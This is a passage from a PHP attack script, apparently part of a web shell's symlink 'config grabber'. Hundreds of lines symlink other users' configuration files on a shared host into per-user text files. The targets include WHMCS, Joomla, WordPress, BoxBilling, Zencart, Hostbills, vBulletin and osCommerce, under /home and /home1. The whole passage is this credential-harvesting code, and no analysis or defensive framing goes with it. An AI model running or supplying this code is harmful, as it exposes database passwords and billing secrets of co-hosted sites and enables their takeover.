  1330. @symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
  1331. @symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
  1332. @symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
  1333. @symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
  1334. @symlink('/home/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
  1335. @symlink('/home/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
  1336. @symlink('/home/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
  1337. @symlink('/home/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
  1338. @symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
  1339. @symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
  1340. @symlink('/home/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
  1341. @symlink('/home/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
  1342. @symlink('/home/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
  1343. @symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  1344. @symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  1345. @symlink('/home/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
  1346. @symlink('/home/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
  1347. @symlink('/home/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
  1348. @symlink('/home/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
  1349. @symlink('/home/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
  1350. @symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
  1351. @symlink('/home/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
  1352. @symlink('/home/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
  1353. @symlink('/home/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
  1354. @symlink('/home/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
  1355. @symlink('/home/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
  1356. @symlink('/home/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
  1357. @symlink('/home/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
  1358. @symlink('/home/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
  1359. @symlink('/home/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
  1360. @symlink('/home/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
  1361. @symlink('/home/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
  1362. @symlink('/home/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
  1363. @symlink('/home/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
  1364. @symlink('/home/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
  1365. @symlink('/home/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
  1366. @symlink('/home/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
  1367. @symlink('/home/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
  1368. @symlink('/home/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
  1369. @symlink('/home/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
  1370. @symlink('/home/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
  1371. @symlink('/home/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
  1372. @symlink('/home/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
  1373. @symlink('/home/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
  1374. @symlink('/home/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
  1375. @symlink('/home/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
  1376. @symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
  1377. @symlink('/home/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
  1378. @symlink('/home/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
  1379. @symlink('/home/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
  1380. @symlink('/home/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
  1381. @symlink('/home/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
  1382. @symlink('/home/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
  1383. @symlink('/home/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
  1384. @symlink('/home/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
  1385. @symlink('/home/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
  1386. @symlink('/home/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
  1387. @symlink('/home/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
  1388. @symlink('/home/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
  1389. @symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
  1390. @symlink('/home/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
  1391. @symlink('/home/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
  1392. @symlink('/home/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
  1393. @symlink('/home/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  1394. @symlink('/home/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  1395. @symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  1396. @symlink('/home/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
  1397. @symlink('/home/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
  1398. @symlink('/home/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
  1399. @symlink('/home/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
  1400. @symlink('/home/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
  1401. @symlink('/home/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
  1402. @symlink('/home/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
  1403. @symlink('/home/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
  1404. @symlink('/home/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
  1405. @symlink('/home/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
  1406. @symlink('/home/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
  1407. @symlink('/home/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
  1408. @symlink('/home/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
  1409. @symlink('/home/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
  1410. @symlink('/home/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
  1411. @symlink('/home/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
  1412. @symlink('/home/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
  1413. @symlink('/home/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
  1414. @symlink('/home/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
  1415. @symlink('/home/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
  1416. @symlink('/home/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
  1417. @symlink('/home/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
  1418. @symlink('/home/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
  1419. @symlink('/home/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
  1420. @symlink('/home/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  1421. @symlink('/home/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  1422. @symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  1423. @symlink('/home/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
  1424. @symlink('/home/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
  1425. @symlink('/home/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
  1426. @symlink('/home/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
  1427. @symlink('/home/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
  1428. @symlink('/home/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
  1429. @symlink('/home/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
  1430. @symlink('/home/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
  1431. @symlink('/home/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
  1432. @symlink('/home/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
  1433. @symlink('/home/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
  1434. @symlink('/home/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
  1435. @symlink('/home/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
  1436. @symlink('/home/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
  1437. @symlink('/home/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
  1438. @symlink('/home/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
  1439. @symlink('/home/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
  1440. @symlink('/home/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
  1441. @symlink('/home/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
  1442. @symlink('/home/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
  1443. @symlink('/home/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
  1444. @symlink('/home/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
  1445. @symlink('/home/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
  1446. @symlink('/home/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
  1447. @symlink('/home/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
  1448. @symlink('/home/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
  1449. @symlink('/home/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
  1450. @symlink('/home/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
  1451. @symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
  1452. @symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
  1453. @symlink('/home/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
  1454. @symlink('/home/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
  1455. @symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
  1456. @symlink('/home/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
  1457. @symlink('/home/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
  1458. @symlink('/home/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
  1459. @symlink('/home/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
  1460. @symlink('/home/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
  1461. @symlink('/home/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
  1462. @symlink('/home/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
  1463. @symlink('/home/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
  1464. @symlink('/home/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
  1465. @symlink('/home/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
  1466. @symlink('/home/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
  1467. @symlink('/home/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
  1468. @symlink('/home/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
  1469. @symlink('/home/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
  1470. @symlink('/home/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
  1471. @symlink('/home/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
  1472. @symlink('/home/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
  1473. @symlink('/home/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
  1474.  
  1475. //Home1
  1476.  
  1477. @symlink('/home1/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
  1478. @symlink('/home1/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
  1479. @symlink('/home1/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
  1480. @symlink('/home1/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
  1481. @symlink('/home1/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
  1482. @symlink('/home1/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
  1483. @symlink('/home1/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
  1484. @symlink('/home1/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
  1485. @symlink('/home1/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
  1486. @symlink('/home1/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
  1487. @symlink('/home1/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
  1488. @symlink('/home1/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
  1489. @symlink('/home1/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
  1490. @symlink('/home1/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
  1491. @symlink('/home1/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
  1492. @symlink('/home1/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
  1493. @symlink('/home1/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
  1494. @symlink('/home1/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
  1495. @symlink('/home1/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
  1496. @symlink('/home1/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
  1497. @symlink('/home1/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
  1498. @symlink('/home1/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
  1499. @symlink('/home1/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
  1500. @symlink('/home1/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
  1501. @symlink('/home1/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
  1502. @symlink('/home1/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
  1503. @symlink('/home1/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
  1504. @symlink('/home1/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
  1505. @symlink('/home1/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
  1506. @symlink('/home1/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
  1507. @symlink('/home1/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
  1508. @symlink('/home1/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
  1509. @symlink('/home1/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
  1510. @symlink('/home1/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
  1511. @symlink('/home1/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
  1512. @symlink('/home1/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
  1513. @symlink('/home1/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
  1514. @symlink('/home1/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
  1515. @symlink('/home1/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
  1516. @symlink('/home1/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
  1517. @symlink('/home1/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
  1518. @symlink('/home1/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
  1519. @symlink('/home1/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
  1520. @symlink('/home1/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
  1521. @symlink('/home1/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
  1522. @symlink('/home1/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
  1523. @symlink('/home1/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
  1524. @symlink('/home1/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
  1525. @symlink('/home1/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
  1526. @symlink('/home1/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  1527. @symlink('/home1/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  1528. @symlink('/home1/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
  1529. @symlink('/home1/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
  1530. @symlink('/home1/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
  1531. @symlink('/home1/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
  1532. @symlink('/home1/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
  1533. @symlink('/home1/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
  1534. @symlink('/home1/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
  1535. @symlink('/home1/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
  1536. @symlink('/home1/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
  1537. @symlink('/home1/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
  1538. @symlink('/home1/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
  1539. @symlink('/home1/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
  1540. @symlink('/home1/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
  1541. @symlink('/home1/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
  1542. @symlink('/home1/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
  1543. @symlink('/home1/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
  1544. @symlink('/home1/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
  1545. @symlink('/home1/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
  1546. @symlink('/home1/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
  1547. @symlink('/home1/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
  1548. @symlink('/home1/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
  1549. @symlink('/home1/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
  1550. @symlink('/home1/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
  1551. @symlink('/home1/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
  1552. @symlink('/home1/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
  1553. @symlink('/home1/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
  1554. @symlink('/home1/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
  1555. @symlink('/home1/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
  1556. @symlink('/home1/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
  1557. @symlink('/home1/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
  1558. @symlink('/home1/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
  1559. @symlink('/home1/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
  1560. @symlink('/home1/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
  1561. @symlink('/home1/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
  1562. @symlink('/home1/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
  1563. @symlink('/home1/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
  1564. @symlink('/home1/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
  1565. @symlink('/home1/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
  1566. @symlink('/home1/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
  1567. @symlink('/home1/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
  1568. @symlink('/home1/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
  1569. @symlink('/home1/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
  1570. @symlink('/home1/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
  1571. @symlink('/home1/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
  1572. @symlink('/home1/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
  1573. @symlink('/home1/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
  1574. @symlink('/home1/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
  1575. @symlink('/home1/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
  1576. @symlink('/home1/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  1577. @symlink('/home1/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  1578. @symlink('/home1/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  1579. @symlink('/home1/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
  1580. @symlink('/home1/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
  1581. @symlink('/home1/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
  1582. @symlink('/home1/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
  1583. @symlink('/home1/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
  1584. @symlink('/home1/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
  1585. @symlink('/home1/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
  1586. @symlink('/home1/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
  1587. @symlink('/home1/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
  1588. @symlink('/home1/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
  1589. @symlink('/home1/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
  1590. @symlink('/home1/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
  1591. @symlink('/home1/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
  1592. @symlink('/home1/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
  1593. @symlink('/home1/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
  1594. @symlink('/home1/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
  1595. @symlink('/home1/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
  1596. @symlink('/home1/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
  1597. @symlink('/home1/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
  1598. @symlink('/home1/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
  1599. @symlink('/home1/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
  1600. @symlink('/home1/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
  1601. @symlink('/home1/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
  1602. @symlink('/home1/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
  1603. @symlink('/home1/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  1604. @symlink('/home1/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  1605. @symlink('/home1/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  1606. @symlink('/home1/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
  1607. @symlink('/home1/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
  1608. @symlink('/home1/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
  1609. @symlink('/home1/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
  1610. @symlink('/home1/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
  1611. @symlink('/home1/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
  1612. @symlink('/home1/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
  1613. @symlink('/home1/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
  1614. @symlink('/home1/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
  1615. @symlink('/home1/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
  1616. @symlink('/home1/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
  1617. @symlink('/home1/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
  1618. @symlink('/home1/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
  1619. @symlink('/home1/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
  1620. @symlink('/home1/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
  1621. @symlink('/home1/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
  1622. @symlink('/home1/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
  1623. @symlink('/home1/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
  1624. @symlink('/home1/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
  1625. @symlink('/home1/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
  1626. @symlink('/home1/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
  1627. @symlink('/home1/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
  1628. @symlink('/home1/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
  1629. @symlink('/home1/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
  1630. @symlink('/home1/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
  1631. @symlink('/home1/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
  1632. @symlink('/home1/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
  1633. @symlink('/home1/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
  1634. @symlink('/home1/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
  1635. @symlink('/home1/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
  1636. @symlink('/home1/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
  1637. @symlink('/home1/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
